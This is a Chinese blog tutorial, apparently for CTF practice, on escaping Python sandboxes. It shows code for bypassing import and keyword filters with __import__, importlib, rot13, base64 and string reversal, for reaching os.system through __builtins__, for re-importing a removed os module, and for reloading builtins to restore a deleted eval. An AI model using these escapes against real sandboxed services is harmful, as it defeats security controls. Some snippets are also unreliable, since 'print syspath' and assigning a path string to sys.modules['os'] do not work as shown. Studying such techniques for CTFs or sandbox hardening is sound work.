第一篇主要学习导入模块的方式

空格绕过

分隔符用多个空格

1
2
3
4
>>> import os
>>> import os
>>> import os
>>> import sys

同义词绕过

_import_

1
2
3
4
>>> __import__('os')
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> __import__('os').system('ls')
公共 图片 音乐 core hash_extender pick.py static

_importlib_

1
2
3
4
5
6
>>> import importlib
>>> p1k=importlib.import_module('bf'.decode('rot-13'))
>>> p1k
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> p1k.system('whoami')
root

execfile

python导入库,实际上就是执行一次库文件(2.x版本可用,3.x版本删除execfile)

1
2
3
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('ls')
公共 图片 音乐 core hash_extender pick.py static

2.x 3.x 通用的方法

1
2
3
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')

执行一下

1
2
[email protected]:~# python3 11.py 
11.py 视频

内建模块

python中直接使用的内置函数 例如open() int() chr() 是随着内建模块一同被导入的,python2.x中称为__builtin__

3.x中称为builtins

1
2
>>> __builtins__.open('/flag').read()
'sss'

builtin builtins \builtin__ \builtins__ 的区别

__builtins__是不能导入的,__builtin__是可以导入的,由此可见,实际上并没有\builtins__模块,\builtins__模块实际上是python解释器创建的一个对\builtin__(2.x) builtins(3.x)模块的引用

1
2
3
4
5
>>> import __builtins__
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named __builtins__
>>> import __builtin__

__dict__获取对象属性,一个模块对象有一个由字典对象实现的命名空间,模块中的属性引用被转为在这个字典中的查找,例如m.x ==>m.dict[‘x’]

1
2
3
4
5
6
7
>>> __builtins__.__dict__['__import__']('os').system('whoami')
root
base64编码
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('whoami')
反转
>>> __builtins__.__dict__['__tropmi__'[::-1]]('os').system('whoami')
root

模块被删除

1
2
>>> import sys
>>> sys.modules['os']=None

路径导入

导入os试试

1
2
3
4
>>> import os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named os

不能被导入,针对上面需要路径的,大都是默认路径,如果sys没被干掉可以使用sys.path看一下

1
2
3
>>> import sys
>>> print syspath
['', '/usr/lib/python2.7',

利用路径导入os

1
2
>>> sys.modules['os']='/usr/lib/python2.7/os'
>>> import os

reload重载

当一些函数被破坏或者删除的时候,

1
2
__builtins__.__dict__['eval'] = 'not allowed' //破坏eval
del __builtins__.__dict__['eval'] //删除eval

可以使用reload重载来恢复。注意python2.x中reload在__builtins__模块中,python3.x中reload在imp模块中

1
2
3
4
5
6
7
8
9
>>> del __builtins__.__dict__['eval']
>>> eval
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'eval' is not defined
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> eval
<built-in function eval>

python3.x引入reload

1
2
3
>>> import imp
>>> imp.reload(__builtins__)
<module 'builtins' (built-in)>

小结:大多数的关键词都是可以通过编码 反转这些绕过的

参考链接

http://yulige.top/?p=502

https://www.freebuf.com/articles/system/203208.html